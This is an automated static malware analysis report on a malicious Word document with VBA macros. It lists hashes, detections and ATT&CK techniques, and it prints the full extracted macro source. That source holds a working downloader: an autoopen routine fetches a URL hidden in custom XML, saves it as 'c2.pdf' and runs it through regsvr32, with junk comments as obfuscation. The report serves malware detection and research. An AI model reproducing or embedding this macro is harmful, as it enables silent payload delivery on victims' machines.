Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c971c696a37abe3f…

MALICIOUS

Office (OOXML)

116.7 KB Created: 2020-07-20 09:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 19299d09309542fdfbf3fb6dfcdd62eb SHA-1: 7f93b0124ee724cc8c2b83621c20d8624a57b98d SHA-256: c971c696a37abe3f8628c3888048096d42873c1e91d778b7dfba886820058a41
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is configured to execute, which then calls a function that uses URLDownloadToFile to download a file named 'c2.pdf'. This downloaded file is likely a second-stage payload. The presence of AutoOpen, Shell(), and URLDownloadToFile heuristics strongly indicates a downloader functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Moon
    Shell wu & bn & "32 c2.pdf"
    End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal vN As LongPtr, ByVal kl As String, ByVal Ns As String, ByVal tF As LongPtr, ByVal y2 As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    EE = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4135 bytes
SHA-256: d88e6f8e535e18dbd4b346ab5f0301c04c1ea73afcb1cb1ad7b23fd02cffb653
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nb"
Function q2(ha)
    
' Partaken supplant

' Conventual mechanism whom spartans
' Figures tonight
' Adequately telecommunications tardy

' Avow phosphate high circumstances cnet
' Represent concussion dealing life gravity
' Vishnu sorry upgrade
' Workplace augur treasurer english

' Ending corrosive
' Gm allegory portly crossbow cherubim
' Coverage telegraphy senile negress
' Recall finals nothingness
' Portugal success greenish

' Vendors lynx boating unions glen
' Analyses invocation emily
' Packs exp banana

' Large bazaar indomitable dubai beautiful
' Twitter
' Pillow atmospheric stipulation measures enemies adventure
End Function
Sub autoopen()
EE = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Anybody disappointing murphy newcomer
' Proved extensive manifesting
' Survival
' Determined endanger weymouth commission mechanics mermaid
' Weeding access morose manslaughter

' Breaker sophisticated pristine movements
' Layer man-of-war missed medley
' Exception salty heinz tokyo
frm.download EE, "c2.pdf"

' Disrespect amaze
' Brothers wallis
' Controllers pinafore syphilis recipe

' Pointer
' Neigh ohg. twitter atlas purge predilection
' Tier initially italic alloy
' Butterfly industrial all-important underlying
' Ellen abbe
' Upland arg defer

' Palanquin migrate
' Rave chapters cree

' Swivel intimidation radiation irresolute
' Creator ezra quaking
' Person visible banking diffidence
' Chrysler capita suffolk edwards
' Moon
Shell wu & bn & "32 c2.pdf"
End Sub

Attribute VB_Name = "nb1"
Sub e4()

' Comprehensible stolid
' Vi ge crosswise dance screen

' Representatives counter shutter led beadle aye cowper
' Trust fad lustily
' Pdas killed
' Privacy treble secede black

' Georgian profusely symbol compute
' Quaff circumvent
' Stanford maltreated domino ably crime

' Still older proprietary enunciation
' Celebs
' Condescending asparagus cargo
' Disrepute magnify collectible en knead

' Inspired surgical compatible
' Myrtle ones specialized
' Bow smithsonian vulnerable chaise

' Sticks cialis appears cloudless
' Leaky

' Instrumentality danger vanguard
' Irreparable cope
' Tricky eliminate speeches

' Flirt prior enlist horror
' Banns acquired desist
' Bathrooms transitive dexterously irritable

' Admiringly
' Typical concentrations curt restriction

' Portly singularity adrian re- alt
' Dc disastrously armament meed muslim
' Homo casualty crockery stratagem
' Bestir assume tune

' Cir defile adjectives espouse concentrations dynastic
' Afghan d zodiac
' Prithee ketch netherlands families

' Giants axis balanced jo. parable vinyl
' Chaldea historical stand rules splinter wholl
' Handbook dolphin hame jesus
' Trump prisoner stripes
' Struck
End Sub

Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal vN As LongPtr, ByVal kl As String, ByVal Ns As String, ByVal tF As LongPtr, ByVal y2 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal vN As Long, ByVal kl As String, ByVal Ns As String, ByVal tF As Long, ByVal y2 As Long) As Long
#End If

Attribute VB_Name = "frm"
Attribute VB_Base = "0{04E58B3B-C92C-4765-A161-8E3AE2342EDE}{7FB062B8-FFF7-49D6-A495-AA9ECA7496C5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: eb4f99fdaa43c43270f37087acab7b8102f8cf8d6c0760d2745632662eb18674